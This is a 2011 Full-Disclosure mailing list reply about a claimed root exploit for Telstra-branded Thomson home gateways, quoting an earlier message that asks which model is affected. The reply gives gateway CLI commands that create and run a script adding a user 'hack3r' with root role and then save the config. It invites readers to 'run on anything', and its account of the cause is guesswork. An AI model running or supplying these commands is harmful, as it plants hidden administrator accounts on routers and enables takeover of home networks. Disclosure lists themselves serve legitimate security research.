Re: Telstra thompson gateway - root exploit (0day)

["-= Glowing Sex =-" <doomxd () gmail com>]

Hello Jeremy,
i would suggest looking up T-Hub ,also this is Telstras new system wich is
basically a little box that sits in your house and you can control alot
through this system,I am not to sure if it affects this and I also noticed
that the characters needed were stripped in the first posting so it showed
wrong.
It should have been written as:

:script add name addroot command "user add name hack3r password hack3r role
root descr ROOT"
:script run name addroot pars ""
:saveall

this would then add 'hack3r' to the gateway with role of root
user/administrator.
The vendor is also partnered to Bigpond and this is a huge system,I guess
this is more of a flaw in how it handles input and parses the add name
function ,I assume the code is not passing input after the :script add ,is
called,i have seen many small similar flaws like this in commandline apps,
it is always buffers or strings not secured properly or not setup and
structured in a secure manner.
I will have some tests ran and see what happens, please use this updated
script code to run on anything,
I am also not too sure how to go about trying to contact and show this to
such a large firm, specially with the stuff happening here lately.
cheers



On 29 July 2011 23:54, Jeremy Visser <jeremy () visser name> wrote:

> On 07/29/11 06:59, xD 0x41 wrote:
> > Telstra thompson gateway - root exploit
>
> Which model is this for? Thompson have made various gateways over the
> years — some better than others, I might add.
>
> The latest BigPond–branded models are locked down so @bigpond.com is
> welded to the end of your PPP username, preventing you from using it
> with another ISP.
>
> Getting around that is a good incentive to get root, IMO. :-)
>
> > Telstra is an ISP here in Australia, it is also the same isp wich owns
> > the NBN
>
> That’s not the case. Completely separate companies, although the NBN Co
> recently signed a deal that gives them access to Telstra’s physical
> infrastructure (e.g. running fibre through their ducts).
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/